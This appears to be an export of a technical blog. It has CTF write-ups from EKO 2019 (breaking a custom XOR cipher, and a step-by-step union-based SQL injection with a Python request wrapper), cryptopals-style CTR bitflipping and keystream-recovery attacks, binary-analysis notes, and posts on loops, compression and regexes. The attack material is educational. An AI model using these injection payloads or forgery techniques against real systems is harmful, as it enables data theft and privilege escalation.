We found srand, and we found the global state of the PRNG at 6CC100h, now we can find who updates that global state: the guy will probably be the rand function.

Nice Findings

⊕

The get time function is quite short: it is just a call to the date program and no command injection is possible.

However this gives us two pieces of information:

we know the time of the remote machine: we can break things like srand(time()).
we know the position of the system function (0x411070) and a call to it (0x401258).

The player attack code has a preamble of several operations but after that, there is a interesting section.

⊕

It choose a monster name and if it is NULL, jumps to a block that copy the player’s name into the heap and stores it in the array that initially has the names of the monsters.

Then it is passed as the first argument of a indirect call. Initially the only function that should be called is monster_attack but we may point to somewhere.

Interesting things:

monster_attack does not free its argument so we may have a memory leak which content is controlled by us.
monster_attack does free the player_struct but it doesn’t set is_user_created to 0 so we may have a double free if we call delete_player later.
unfortunately monster_attack may return 0 that makes player_attack to call exit(); only under a specific path monster_attack returns 1.

Something similar happen in monster_defense and roar functions with the exception that roar returns always 0.

Next Steps

We found a memory leak and a double free but we don’t have a real crash. We just reviewed the code.

We need to keep exploring this, here are some ideas for a future post:

Valgrind: we could see if there are more memory corruptions. Play with AFL perhaps?
Angr: trigger the leaking strdup is not trivial, we may use a symbolic execution for that.
Heap attack: after all, we need to know how the heap management works and plan the attack.

Constant Rate Loop

2019-10-23T00:00:00+00:00

Motivation

Consider a draw() function that renders an animation. An animation is just a list of images or frames that draw() will render one frame per iteration.

>>> def draw():
...     global it
...     it += 1     # pick the "next" frame
...
...     n = len(frames)
...     f = frames[it % n]  # keep looping
...
...     render(f)

To get the animation effect we want to call draw() in a loop.

We may do this:

def loop():
    while True:
        draw()

But then the animation speed will be determinate by the speed of the machine: faster machines will render faster animations.

Adding a sleep() solves this partially

def fixed_sleep_loop():
    while True:
        draw()
        sleep(1/60)

⊕ Plot the difference between the real time now() and the expected in each iteration it * rate looping during 1 second at a rate of 1/60. Using a fixed sleep loop the difference increase linearly while using a constant rate loop the difference is quite low and relatively constant. code

The problem is that we are not considering neither the time elapsed in draw() nor the fact that sleep() may sleep more than it should be.

“If the interval specified not an exact multiple of the granularity underlying clock, then the interval will be rounded up to the next multiple. Furthermore, after the sleep completes, there may still be a delay before the CPU becomes free to once again execute the calling thread.” From nanosleep(2)

This error is accumulative, increasing in each iteration, making the draw() out of synchronization very quickly.

Problem

You want to do an action every X time maintaining a constant rate.

Solution

The idea is to have a loop that can call a function foo() every X time, like a precise clock.

If the loop gets out of sync and begins to be behind schedule, the loop needs to compensate somehow to catch up.

Two alternatives are possible: drop & rest and no rest-keep working

If behind, drop & rest

>>> def constant_rate_loop(func, rate):
...     t1 = now()
...     it = 0
...     while True:
...         func(it)
...
...         t2 = now()
...         rest = rate - (t2 - t1)
...         if rest < 0:
...             behind = -rest  # this is always positive
...             rest = rate - behind % rate
...             lost = behind + rest
...             t1 += lost
...             it += int(lost // rate)  # floor division
...
...         sleep(rest)
...         t1 += rate
...         it += 1

The difference between t2 and t1 yields how much time we were in the func() call.

In a normal situation, this should be less than the expected rate and the loop sleeps the remaining time to complete the current iteration.

The next t1 is increased by rate: we don’t call now() again otherwise will be introducing a clock drift due the extra delays of sleep().

That’s the happy path.

But what happen if func() is too slow and takes more time than the expected for one iteration?

First we determinate how much time we are behind schedule:

    behind = -rest  # this is always positive

Then, it is very likely that we are in some point in the middle, and incomplete iteration, so we calculate how much time we should sleep to synchronize ourselves with the next iteration – this is the drop & rest:

    rest = rate - behind % rate

Finally, how many iterations we lost or skipped:

    lost = behind + rest

    it += int(lost // rate)  # floor division
    t1 += lost

The t1 += lost is crucial otherwise t1 will be always behind like if the following func() calls were always too slow.

The iteration 1 took too long and the iteration 2 was lost.
Note how the begin of the iteration 3 starts at the begin of a new slot.

Full code in github.

If behind, keep working

>>> def constant_rate_loop(func, rate):
...     t1 = now()
...     it = 0
...     while True:
...         func(it)
...
...         t2 = now()
...         rest = rate - (t2 - t1)
...         if rest < 0:
...             behind = -rest  # this is always positive
...             lost = behind - behind % rate
...             t1 += lost
...             it += int(lost // rate)  # floor division
...         else:
...             sleep(rest)
...
...         t1 += rate
...         it += 1

Like in drop & rest, the happy path is the same: if we finish an iteration before the deadline we take some rest until the next iteration.

⊕ Iteration 2 is not dropped and begins as soon as possible.
Contrast this with the drop & rest strategy:

⊕

But if we are behind schedule we do something different: the last partially consumed iteration is not considered lost.

    lost = behind - behind % rate

While drop & rest consideres an iteration lost if func() cannot be called at the begin of the iteration, no rest-keep working consideres an iteration lost if it was totally consumed without calling func().

If there is room to call it even if it is not at the begin of the iteration, no rest-keep working will call it immediately – it will not rest, it will keep working.

func() is called in the iteration 2 as soon as the previous finishes.
No rest is taken, trying to catch up as soon as possible without loosing any frame even if that means call func() in the middle of an iteration.

No rest-keep working is suitable for situations where we want to minimize the drops; drop & rest is better when we want to call func() at specific times even if we have to drop an iteration.

Of course, if func() spans 2 or more iterations, no rest-keep working will be forced to drop the iterations in the middle.

func() took more than 2 iterations to complete so the iteration 2 is considered lost.

Synchronization on Drops

The func() may need to know when it is not being called as expected, when some iterations are being dropped.

⊕ Same animation that last 1 second in a loop. From top to down, the first is an animation without any frame lost, the second had lost some frames but draw() is still in sync, the last one lost the same amount of frames but draw() used its own notion of time an got out of sync. code

If draw() is too slow, the loop will drop some iterations as shown.

But draw() will never notice this and instead of skipping some frames it will render the next frame accordingly to him.

The animation will appear smooth to the user but behind the scene the draw() will be out of sync: the animation will take more time to complete or it will be cut in the middle.

⊕ We could pass also how many iteration had happen since the last time, something like func(it, it-last_it).

Instead, we can pass to func() the iteration number explicitly.

The draw() must be updated accordingly:

>>> def draw(it):
...     n = len(frames)
...     f = frames[it % n]      # pick what correspond to "this" iteration
...
...     render(f)

In a normal situation, this is always an sequential number but if iterations are being dropped, there will be shifts in the count and draw() will skip some frames but it will remain in sync.

The first row shows all the frames that forms the animation. The other two are the frames plotted by a slow draw() with some frames dropped. But the first draw() (second row) kept in sync while the other did not. code

Known Uses

Game and rendering loops.

Also Known as

Frame-rate limiting.

Attributions

The werewolf images were made by MindChamber, licensed CC-BY 3.0, from OpenGameArt

Index of Coincidence Explained

2019-10-04T00:00:00+00:00

The concept of Index of Coincidence was introduced by William Friedman in 1922-1923 in the paper titled “The Index of Coincidence and its Applications in Cryptoanalysis” [1].

The Navy Department (US) worked in the following years on this topic coming, in 1955, with a paper titled “The Index of Coincidence” by Howard Campaigne [2].

However I found some confusing and misleading concepts in the modern literature.

This post is a summary of what I could understand from Howard’s work.

Count Coincidences

How similar are two strings?

⊕ Two strings aligned have 6 coincidences.

Put the two strings one below the other, perfectly aligned. Now, column by column, count how many times the same letter appear in the same column.

Two strings that have substrings in common and aligned have a lot of coincidences.

We will call this Aligned Count of Coincidences or $AC(s_1,s_2)$.

⊕ Two strings, the second shifted 4 positions to the right, have 3 coincidences.

But if the substrings are not aligned we may think, incorrectly, that two strings does not have nothing in common.

⊕ Two strings, the second shifted 6 positions to the left, have 3 coincidences too.

So we define the Count of Coincidences $C(s_1,s_2)$ between two strings as how many columns have the same letter for every possible alignment.

It’s more simple than it looks.

Count for Every Possible Alignment

Pick the first e of the first string. It will have a coincidence with every possible e in the second string.

⊕ Coincidences of the first e with all the e of the second string.

There are 5 letters e in the second string, so we will have 5 coincidences.

Then pick the second e of the first string and repeat. Another 5 coincidences.

The first string has 3 letters e so at the end we will have 3 times 5, 15 coincidences.

In general for a particular byte we will have $n_i m_i$ coincidences where $n_i$ is the count of that byte in the first plaintext and $m_i$ in the second.

For all the possible bytes $i$, the count of coincidences for all the possible shifts and alignments is:

$$ C(s_1,s_2) = \sum_{\forall i} n_i m_i \tag{1}\label{Coincs1s2}$$

Expected Count

The equation $(\ref{Coincs1s2})$ counts the coincidence between two particular instances.

⊕ Two sets or families of strings $S_1$ and $S_2$; $s_1$ and $s_2$ are just two examples of those.

Instead of comparing two particular strings we compare two families of strings where the probability of each symbol $i$ is $p_i$ in the first family and $q_i$ in the second.

Because $p_i$ and $q_i$ are independent, the probability of picking the same letter or symbol $i$ is $p_i q_i$.

Picking one letter or other are mutually exclusive events (disjoin events) so the probability of having any coincidence is the sum:

$$ PrC(S_1,S_2) = \sum_{\forall i} p_i q_i \tag{3}\label{PrCoincS1S2}$$

The equation $(\ref{PrCoincS1S2})$ is shown in [Howard], equation (25)

With $(\ref{PrCoincS1S2})$, the expected count for two strings of length $N$ taken from the families $S_1$ and $S_2$ is:

$$ EC(S_1,S_2) = N \sum_{\forall i} p_i q_i \tag{4}\label{ExpCoincS1S2}$$

[Howard], equation (pseudo 2.5)

Expected Coincidences Between Two Random Strings

If we are comparing two uniformly distributed random strings, all the letters or symbols have the same probability so $p_i = q_i = \frac{1}{c}$ where $c$ is the length of the alphabet (256 for bytes, 26 for English letters, …)

$$ \begin{align*} PrC(R) & = \sum_{\forall i} p_i q_i \tag{3}\\ & = \sum_{\forall i} \frac{1}{c} \frac{1}{c} \\ & = c \frac{1}{c} \frac{1}{c} \\ & = \frac{1}{c} \tag{5}\label{PrCoincR} \end{align*} $$

And therefore the expected count is

$$ EC(R) = N \sum_{\forall i} p_i q_i = \frac{N}{c} \tag{6}\label{ExpCoincR}$$

Cross Index of Coincidence

Finally, we define the Cross Index of Coincidence, $IC(s_1,s_2)$ for short, as the ratio between the count of coincidences between two strings ($s_1$ and $s_2$) of the same length $N$ and the expected coincidences assuming uniformly distributed random strings.

In other words is the ratio between equations $(\ref{Coincs1s2})$ and $(\ref{ExpCoincR})$

$$ IC(s_1,s_2) = \frac{C(s_1,s_2)}{EC(R)} = \frac{c}{N} \sum_{\forall i} n_i m_i \tag{7}\label{IdxCoincs1s2}$$

We can also use $AC(s_1,s_2)$ instead of $C(s_1,s_2)$ and we will get another variant of $IC(s_1,s_2)$.

$c$ is Not a Normalization Factor

I found in modern literature than the term $c$ is explained as a normalization factor. Far from being truth.

In fact, the values that $IC(s_1,s_2)$ go from 0 to $cN$.

A normalized IC can be obtained from $(\ref{IdxCoincs1s2})$ if we divide it by $cN$ that it is the same to ask for $PrC(S_1,S_2)$:

$$ \begin{align*} IC_N(s_1,s_2) & = \frac{c}{N} \sum_{\forall i} n_i m_i \frac{1}{cN} \\ & = \frac{c}{c} \sum_{\forall i} \frac{n_i}{N} \frac{m_i}{N} \\ & = \sum_{\forall i} p_i q_i \\ & = PrC(S_1,S_2) \tag{3} \end{align*} $$

Cross Index of Coincidence between Two Families

If we calculate the ratio between $(\ref{PrCoincS1S2})$ and $(\ref{PrCoincR})$ we have a way to compare families without needing the length:

$$ IC(S_1,S_2) = c \sum_{\forall i} p_i q_i \tag{9}\label{IdxCoincS}$$

Auto Index of Coincidences

There is another definition of IC that compares a string with itself.

It follows a similar counting process: put the string and its copy in two rows, count the coincidences, shift one place and repeat.

Of course there is a case where both will have a full match. That case is ignored.

The count of auto coincidences is:

$$ C(s) = \sum_{\forall i} n_i (n_i-1) \tag{10}\label{Coincs} $$

In term of the probabilities:

$$ PrC(S) = \sum_{\forall i} p_i (p_i-1) \tag{11}\label{PrCoincS}$$

Once again, the IC is a ratio between the actual coincidences $C(s)$ and the expected coincidences $\frac{N}{c}$:

$$ IC(s) = \frac{c}{N} \sum_{\forall i} n_i (n_i-1) \tag{12}\label{IdxCoincs}$$

Or it is the ratio between the probabilities:

$$ IC(S) = c \sum_{\forall i} p_i (p_i - 1) \tag{13}\label{IdxCoincNormS}$$

Final Thoughts

This post took me a lot of time. The topic is not complex and the maths are very simple but it is the amount of several and slightly different definitions that makes hard to read and interpret.

Counting the coincidences between two strings aligned $AC(s_1,s_2)$, not aligned $C(s_1,s_2)$, the probability of having a coincidence $PrC(S_1,S_2)$, the expected count, the $IC$, …

I hope to got it right in this post :D

Cipherchat (Crypto writeup - EKO 2019)

2019-10-01T00:00:00+00:00

We start with a communication between two machines, encrypted with an unknown algorithm and the challenge is to break it.

As a hint we have the code that the client used to talk with the server.

Decompile

It is a Python 3 compiled code so our first task is to decompile it.

For this I’m going to use uncompyle6

$ uncompyle6 --encoding utf-8 -o . client.min.pyc       # byexample: +skip

This is what we got:

<...>
ۈ = True
𢜁 = False
ې = chr
𐬴 = print
import socket
䈶 = socket.gethostbyname
چ = socket.socket
ޠ = socket.error
𨐜 = socket.AF_INET
𐫛 = socket.SOCK_STREAM
import sys
نحي = sys.stdin
𐤭 = sys.exit
𣏲 = 'localhost'
ࡃ = 12345
珽 = 0
𐠨 = 0

def 𡛓(t):
    敩 = ''
    𨆂 = 珽
    for n in t.encode('latin-1'):
        if n == 0:
            break
<...>

The ۈ looks like a variable where 䈶 is just an alias of socket.gethostbyname.

⊕ Vim tip: :%s//x/g replaces the last searched string by x. Combined with * it is very useful to replace hard-to-write words like ۈ.

I did a little of search-and-replace to have better names, I filtered out artificial constructions like using a variable to hold the constant True and things like that.

Finally, I tried to rename the variables to have a meaningful name.

The decompiled code is here.

Analysis of the Cipher

This is the cipher function:

>>> key_seed = 0
>>> key_shift = 0

>>> def encxor(t):
...     out = ''
...     key = key_seed
...     for n in t.encode('latin-1'):
...         if n == 0:
...             break
...
...         while 1:
...             x = n ^ key
...             key = (key + key_shift) % 256
...             if x == 0 or x == key:
...                 pass
...             else:
...                 break
...
...         out += chr(x)
...
...     out += chr(0)
...     return out.encode('latin-1')

It is a stream cipher where the key stream evolves doing shifts of key_shift starting from key_seed.

On particularity is that if the output byte x is 0 or it is equal to the (next) key byte, the key byte is ignored and the key stream is moved forward one byte.

So in the output out we will never see a 0 or a key byte.

This is the same function but simplified:

>>> key_seed = 0
>>> key_shift = 0

>>> def encxor(t):
...     out = ''
...     key = key_seed
...     for n in t.encode('latin-1'):
...         if n == 0:
...             break
...
...         x = 0
...         while x == 0 or x == key:
...             x = n ^ key
...             key = (key + key_shift) % 256
...
...         out += chr(x)
...
...     out += chr(0)
...     return out.encode('latin-1')

⊕ We say almost because to runs of the key stream will be identical until one of them, based on the plaintext, hit the x == 0 or x == key condition shifting with respect the other.

Another particularity is that the cipher is stateless: two plaintexts will be encrypted with almost the same key stream.

The other interesting part is how the key_seed and key_shift are initialized.

_, srcport = sk.getsockname()
key_seed = (srcport & 65280) >> 8
key_shift = srcport & 255

⊕ The pcap had only one single TCP stream but in much nosier captures it is handy to use Statistic > Conversations in wireshark to summarize the protocols, addresses and ports.

Not secret at all. srcport is the source port chosen by the OS that from the pcap we know that it is 47898.

>>> srcport = 47898
>>> key_seed = (srcport & 65280) >> 8
>>> key_shift = srcport & 255

>>> key_seed, key_shift
(187, 26)

Decrypting

With this and the encxor function we can decrypt every message sent from the client to the server.

⊕ Another wireshark tip: select one packet, then Follow TCP stream, filter to see only the client->server packets and select show data as raw.

Which by the way are these:

>>> raw = '''
... cba28100
... 94bd8a655300
... 94a586674400
... 94b08c614c1d1f18abc7cdb600
... 94b08c614c1d26e3c4cbf9927f4261221afa89a7b29e7f4c7a00
... 94b08c614c1d1e51ffcdd6b7982d53293a01afd0aca8d77059207f15fcc2ac8895720f2f0c0fb7c5a380df7f5f2ce600
... 94b08c614c1d341ee4c993f9ba2d4f202d10afddabb484314d2a2d59eac2b2dbdb506406180de4d4be819046432815e7fed6bbb6707854230ee6e6e68bdd555c00
... 94b08c614c1d301eabc2d0f8d36148203f55e6dde3b49931522a2a59f1c2a6939f00
... 94a586674400
... 94a49a605700
... '''

>>> from cryptonita import B            # byexample: +timeout=10
>>> msgs = [B(msg, encoding=16) for msg in filter(None, raw.split('\n'))]

>>> for msg in msgs:
...     tmp = msg.decode('latin-1')
...     tmp = encxor(tmp)
...     print(tmp)
b'pwn\x00'
b'/help\x00'
b'/ping\x00'
b'/echo Hi bro\x00'
b'/echo What are you doing?\x00'
b'/echo I think that you are looking for the flag\x00'
b'/echo cool, I have this for you: EKO{pseudo_perfect_secrecy_X0R}\x00'
b'/echo go go! load it in you board\x00'
b'/ping\x00'
b'/quit\x00'

That’s it: EKO{pseudo_perfect_secrecy_X0R}.

Weirdo (SQLi writeup - EKO 2019)

2019-09-29T00:00:00+00:00

Quick writeup of a SQL injection challenge.

We start with a pcap of a HTTP communication between a client and a server.

It is only one request/response.

With wireshark we can see that the parties are talking using AMF

Here is the decoded POST:

Hypertext Transfer Protocol
    POST / HTTP/1.1
    Content-type: application/x-amf
    Content-Length: 40
Action Message Format
    AMF version: 0
    Header count: 0
    Message count: 1
    Messages
        Target URI: EKO.CTF
        Response URI: /1
        Length: Unknown
        ECMA array (1 items)
            AMF0 type: ECMA array (0x08)
            Array length: 0
            Property 'q' String 'arg'
                Name: q
                    String length: 1
                    String: q
                String 'arg'
                    AMF0 type: String (0x02)
                    String length: 3
                    String: arg
            End Of Object Marker

Brief AMF Disassemble

In particular, this is the hexdump of the AMF message:

0000   00 00 00 00 00 01 00 07 45 4b 4f 2e 43 54 46 00
0010   02 2f 31 ff ff ff ff 08 00 00 00 00 00 01 71 02
0020   00 03 61 72 67 00 00 09

From the end to the begin, the 00 00 09 is the End of Object Marker, 02 00 03 61 72 67 is the arg string, in ASCII prefixed with 2 bytes that determines its length in big endian and all of that is prefixed with on byte, 02 that says what follows is a string.

I’m going to stop here as my understanding of AMF is quite low and it deserves a separate post.

Playing with the value of the query, this arg, is all what we need to get some fun.

Replacing arg with 'xx we get a database error showing that the server is vulnerable to a SQL injection.

So you know what I’m talking about.

Custom Queries

Before playing, we need a simple way to submit custom queries.

We treat the AMF message as an opaque string, the only thing that we need is to inject an arbitrary string q prefixed with its size.

>>> from cryptonita import B

>>> hdr = '''
... 00 00 00 00 00 01 00 07 45 4b 4f 2e 43 54 46 00
... 02 2f 31 ff ff ff ff 08 00 00 00 00 00 01 71 02
... '''

>>> hdr = B(hdr, encoding=16)
>>> eom =  B('00 00 09', encoding=16)

>>> def payload(q):
...     q  = B(q)
...     sz = B(len(q))
...
...     sz = sz.pack('>H') # uint16, big endian
...     return hdr + sz + q + eom

We wrap this into a HTTP POST.

import requests

def post(q):
    url = 'https://wtf.eko.cap.tf/'
    data = payload(q)

    r = requests.post(url, data=data)
    for chunk in r.content.split(b'network'):
        chunk = B([c for c in chunk if chr(c).isprintable()])
        print(chunk)

The response is also a AMF message that we treat it as a binary blob.

For this reason we arbitrary split the response in chunks and we filter out any non-printable char.

And voila! With post we can submit arbitrary queries and see their responses.

Prologue and Epilogue

We know that we are injecting in the middle of a SQL query but we don’t know where.

We may be injecting here

select ??? from ??? where ???='<here>' ;

but we may be injected here:

select ??? from ??? where ??? in (select ??? from ??? where ???='<here>' ???);

The possibilities are infinite.

If we assume the first case, we could try this:

a prologue of ' to close the left side of the query
a epilogue of ; -- to close the statement and ignore anything on the right.

>>> q = b"'; --"

The idea is that we transform the host query

select ??? from ??? where ???='<here>';

into this:

select ??? from ??? where ???=''; --';

But we were wrong. It failed.

Perhaps we are in the wrong spot, perhaps one of our injected characters were filtered or our prologue and/or epilogue is wrong.

The -- begins a comment. Each SQL engine has its own. The -- works in Oracle and under some conditions in MySQL.

The # works only in MySQL without any condition so we could try that:

>>> q = b"'; #"

select ??? from ??? where ???=''; #';

And it worked! And we learnt that the database is a MySQL for free.

Ref

Deducing the Host Query Structure

Under the hypothetical host query:

select ??? from ??? where ???='<here>';

We could learn how many columns is using the select making the query to order the results by the, let’s say, the 10th column.

If it fails we now that it has less than 10 columns.

After some binary search, we learn that it has 5 columns:

>>> q = b"' order by 5 ;#"    # 5 columns

select c1, c2, c3, c4, c5 from ??? where ???='' order by 5 ; #';

We can experiment further with:

>>> q = b"' union select 99, 98, 97, 96, 95 from information_schema.tables ;#"

select ??? from ??? where ???='' union select 99, 98, 97, 96, 95 from information_schema.tables ;#';

This also validates that the database engine is a MySQL (information_schema is MySQL specific) and that we can union the results.

The last confirms that the host query is just a select and we are injecting in the where clause.

Information Gathering

With this we can learn what other tables are in the database:

>>> q = b"' and 1=0 union select 99, table_name, 97, 96, 95 from information_schema.tables ;#"

select ??? from ??? where ???='' and 1=0 union select 99, table_name, 97, 96, 95 from information_schema.tables ;#';

And with this one we can learn what columns has the table secret, table that found with the previous query and it has a interesting name.

>>> q = b"' and 1=0 union select 99, column_name, 97, 96, 95 from information_schema.columns where table_name='secret' ;#"

select ??? from ??? where ???='' and 1=0 union select 99, column_name, 97, 96, 95 from information_schema.columns where table_name='secret' ;#';

In both cases the and 1=0 makes the host query to produce zero results and it makes the output much cleaner.

Profit!

Finally:

>>> q = b"' and 1=0 union 99, secret, 97, 96, 95 FROM secrets ;#"
>>> post(q)
<...>
EKO{ this is the flag }
<...>

select ??? from ??? where ???='' and 1=0 union 99, secret, 97, 96, 95 FROM secrets ;#';

CTR Bitflipping

2019-08-22T00:00:00+00:00

No much to explain: encryption does not offer any protection against forgery.

⊕ – Spoiler Alert! –

We saw this in the CBC Bitflipping post and we will see it again here but this time it will be the CTR encryption mode our victim.

Setup

Recall from CBC Bitflipping post the scenario where we have a add_user_data function that adds arbitrary data to users’ profiles:

>>> cfg = generate_config(random_state=seed, block_size=block_size,
...         enc_mode='ctr',
...         prefix = "comment1=cooking%20MCs;userdata=",
...         posfix = ";comment2=%20like%20a%20pound%20of%20bacon")

>>> def add_user_data(m):
...     assert ';' not in m and '=' not in m
...     msg = B(cfg.prefix + m + cfg.posfix)
...     return enc_ctr(msg, cfg.key, cfg.nonce)

On the server side there is a function that checks for admin role:

>>> def is_admin(c):
...     msg = dec_ctr(c, cfg.key, cfg.nonce)
...     return b'admin=true' in msg.split(b';')

We control the user’s data (userdata field) but we cannot control the entire profile.

In particular, we cannot say that we have the administration role adding admin=true.

⊕ Well… technically the check in add_user_data is made with an assert.

In Python these asserts are removed if the code is executed with the optimization flag so if the add_user_data runs with the flag on we could inject anything.

So do not use assert for any real check.

So, no, we cannot do this:

>>> add_user_data("somedata;admin=true")
<...>AssertionError

Bit flipping

In CBC Bitflipping post we saw that CBC does not offer any protection against forgery and how to break it.

In this post we will do the same but attacking the CTR mode.

First we will create our target plaintext and a padding plaintext. The former is the plaintext that we want to inject and the latter is the one that we are allowed to inject.

>>> target = B(';admin=true;')
>>> padding = 'A' * len(target)

Then we create our profile:

>>> ctext = add_user_data(padding)

Now, because CTR turns a block cipher into a stream cipher using xor, we can patch it trivially:

>>> patch = target ^ B(padding)

The only catch is that we don’t know where our padding is located so we don’t know where to patch.

For this we can use is_admin as an oracle function, trying each position and knowing the correct one only when we get is_admin(..) == True

>>> l = len(patch)
>>> for i in range(len(ctext) - l + 1):
...     cpatched = ctext[:i] + (ctext[i:i+l] ^ patch) + ctext[i+l:]
...     assert len(cpatched) == len(ctext)
...
...     if is_admin(cpatched):
...         print("Priv escalated! Patch at %i" % i)
Priv escalated! Patch at 32

Broken! CTR bitflipping challenge unlock!

Better Compression of Log Files (PoC)

2019-08-04T00:00:00+00:00

The logs present several patterns that are repeated again and again; LZMA takes advantage of that and reaches very high compress ratios.

Doing a quick test, LZMA at the 6 level of compression, compressed a 2.5 GB log into 147 MB very tight binary blog. A ratio of 94.069%, not bad!

But could we get better results?

Consider the following log:

2019-07-23T07:18:23.034218+00:00 host evaluator: info No evaluator for 4b7c9f29-f945-3641-e737-39c180263f85
2019-07-23T07:18:23.041248+00:00 host evaluator: info Submitted: 4b7c9f29-f945-3641-e737-39c180263f85
2019-07-23T07:18:23.041453+00:00 host evaluator: info Acknowledged: 4b7c9f29-f945-3641-e737-39c180263f85
2019-07-23T07:18:23.042580+00:00 host storage: info Processing 4b7c9f29-f945-3641-e737-39c180263f85
2019-07-23T07:18:23.119849+00:00 host exporter: info Sending message
2019-07-23T07:18:23.120344+00:00 host storage: info Finished processing 4b7c9f29-f945-3641-e737-39c180263f85 (0.07786840550879322s)
2019-07-23T07:18:23.132928+00:00 host exporter: error lib: Could not create socket: Too many open files
2019-07-23T07:18:23.133107+00:00 host exporter: error Exception caught: Errno::EMFILE:Too many open files - getaddrinfo
2019-07-23T07:18:23.133280+00:00 host exporter: error exporter.rb:110:in `connect'
2019-07-23T07:18:23.133427+00:00 host exporter: error exporter.rb:110:in `initialize_socket'

The date times have a lot of redundancy that a standard compressor may not compress.

The substring 2019-07-23T07:18:23 (date and time) is repeated several times and can be compressed but the microseconds part isn’t.

So here is my plan: - split the log file in two streams: date times on the one hand and texts on the other - delta encode the date times - compress separately both streams using LZMA

The proof of concept is in zlog repository.

The results? The new ratio is 96.715%, the new compressed file is 44.615% smaller than the former straight LZMA compressed file.

Compression	Size (bytes)	Compression Ratio
None	2586369892	0
LZMA	153390408	94.069%
Split LZMA	60047300 + 24907828	96.715%

Open questions

The compressed date times represent the 41.480% of the total. The current implementation encodes the deltas in 8 bytes and compresses the stream using LZMA that may not be the best tool for this.

8 bytes perhaps is too much: if there is a log line each hour we can represent the delta in microseconds using only 32 bits.

We could also pack them instead of compress them using frames of reference. With a little of extra code, this would open the opportunity to do searches by time without decompressing the whole thing.

LZMA and others are very good compressing repeated substrings that are closer each other.

This is perfect of strings that represent ids in the logs that appear in consecutive lines like 4b7c9f29-f945-3641-e737-39c180263f85

But what about substrings that are repeated everywhere in a time independent?

Think in host evaluator: info No evaluator for. It is very likely to be repeated several times but if its frequency is too low, several other lines could appear between one repetition and the other that may confuse and reduce the performance of the compressor.

Clustering the lines should bring them closer but if the operation is not invertible without meta data (like the Burrows-Wheeler transform) it may not be worthy.

Also, a clustering will go against of the natural clustering of the time dependent strings. Not good.

From a Regex to a Nondeterministic Finite Automata

2019-07-25T00:00:00+00:00

Before building complex state machine we need to learn the basics blocks.

When the solution to a problem can be seen as set of states with transitions from ones to others, modeling them as a nondeterministic finite automatas makes clear how the solution works and allows to spot deficiencies.

A regular expression is an example of this. As an introductory step let’s review how to turn a regex into a NFA.

Take at look of the source code in Github.

From a regular expression to a NFA

Before getting deep in this, let’s define a very simple problem: we want to validate if a particular string follows or not a given structure.

Let’s assume that this structure can be writing using a regular language.

A regular expresion or regex is a handy way to write this in a concise way. Keep in mind that most of the regex engines are more powerful than a NFA so not all the features that such engines provide can be translated to a NFA.

But a NFA is powerful enough to solve a lot of problems so it worth it.

Labeled transitions

First, we say that the NFA can move from one state to another if there is a transition between the states and it is labeled with the same character that was read.

We represent this with a simple arrow connecting the two states labeled with the particular character.

A NFA allows the use of epsilon transitions or $\epsilon$-transitions for short.

A NFA moves from one state to another through a $\epsilon$-transition without reading any character: it represents the empty string match.

We are going to drop the label in some cases for clarity in the following diagrams.

Optional match

We this two simple definitions we can build an optional match represented in regex syntax as a?

The optional part can be as complex as we want like another NFA, no necessary must be a simple literal.

We represent any arbitrary complex construction as state machine ($sm_1$) defined elsewhere. We plug it using $\epsilon$-transitions and we make it optional using a third $\epsilon$-transition to bypass $sm_1$.

Concatenation and repetition of NFAs

⊕ Concatenation of two state machines $sm_1$ and $sm_2$ (ab in regex syntax).

Two or more NFAs can be concatenated to match a sequence of submatches being linked one to the other using $\epsilon$-transitions.

In regex notation this corresponds to ab (a followed by b)

⊕ This is made obvious in the diagrams: $sm_1$ cannot link to itself. Underwood we will have three $sm_1$ identical objects.

As a extension, a NFA can be link to a clone of itself to match a sequence of repeated submatches. In regex syntax, a{n}.

⊕ Repetition of $sm_1$ three times (a{3} in regex syntax).

We say that the link is to a clone because technically a link to itself would end up in an unbounded loop and what we want instead is a sequence of a fixed size.

When the NFA links to itself, the loop matches an unbounded repetition, a zero or more or klee construction, the famous a*:

Klee construction of $sm_1$ that accepts zero or more items. Notice the difference between this (link to itself) and the fixed repetition above (link to a clone).

The repetition can have different finite lower and higher bounds to form a range with a minimum and a maximum of repetitions a{,2} a{2,4} or with the higher limit unbounded a{2,} a+.

Repeated at least 2 times, up to 4 times: is the combination of a fixed a{2} followed by an up to a{,2}.

Union

Finally, the a|b regex. As you may guessed, we stick two or more state machines using $\epsilon$-transitions.

Disjunction/union of two state machines $sm_1$ and $sm_2$.

CTR Edit/Inject Plaintext Attacks

2019-05-08T00:00:00+00:00

A CTR-mode cipher turns a block cipher into a stream cipher.

With this, a ciphertext can be edited in place generating enough of the key stream, decrypting and re-encrypting the edited portion.

⊕ – Spoiler Alert! –

One can replace part of the plaintext, extend it or even reduce it.

But this beautiful property of a CTR mode (and any other stream cipher) is actually a booby-trap.

Imagine the following function:

>>> def edit(ctext, new_ptext, offset, secret_cfg):
...     sz = len(new_ptext)
...     # dummy plaintext to "encrypt" and obtain the secret stream
...     # we make it large enough to cover the new_ptext size at the given
...     # offset
...     dummy = B(0) * (offset + sz)
...
...     # partial encrypting stream
...     stream = enc_ctr(dummy, secret_cfg.key, secret_cfg.nonce)
...
...     # keep only the bytes needed to decrypt and re-encrypt at the
...     # offset
...     stream = stream[offset:]
...     assert len(stream) == sz
...
...     # override the specific part
...     # here the advantage of CTR: we don't need to decrypt everything
...     new_ctext = ctext.splice(offset, sz, new_ptext ^ stream)
...     return new_ctext

The edit function allows us edit or patch a ciphertext modifying the plaintext knowing the secret key.

No magic.

⊕ This unlocks the Break “random access read/write” AES CTR challenge.

But if the adversary has access to edit and he/she can call it with and arbitrary new plaintext (new_ptext), we can recover the secret stream.

The vulnerability is that the original ciphertext and the one returned by edit were both encrypted with the same key stream.

This is a simple known-plaintext attack.

>>> from cryptonita import B, load_bytes     # byexample: +timeout=10

>>> ptext = B(open('./posts/matasano/assets/25.txt', 'rt'), encoding=64)
>>> ctext = enc_ctr(ptext, secret_cfg.key, secret_cfg.nonce)

>>> new_ptext = B('A') * len(ctext)  # B(0) would be much easier (but boring)
>>> cpatched = edit(ctext, new_ptext, 0, secret_cfg)

>>> kstream = cpatched ^ new_ptext
>>> ptext == ctext ^ kstream
True

If the edit function has some kind of limitation on the size of the patch, we only need to edit it by pieces:

>>> tmp = []
>>> N = 16
>>> for n, pb in enumerate(new_ptext.nblocks(N)):        # byexample: +timeout=10
...     offset = n*N
...     tmp.append(edit(ctext, pb, offset, secret_cfg)[offset:offset+N])

>>> cpatched = B.join(tmp)

>>> kstream = cpatched ^ new_ptext
>>> ptext == ctext ^ kstream
True

Known Partial Plaintext Window

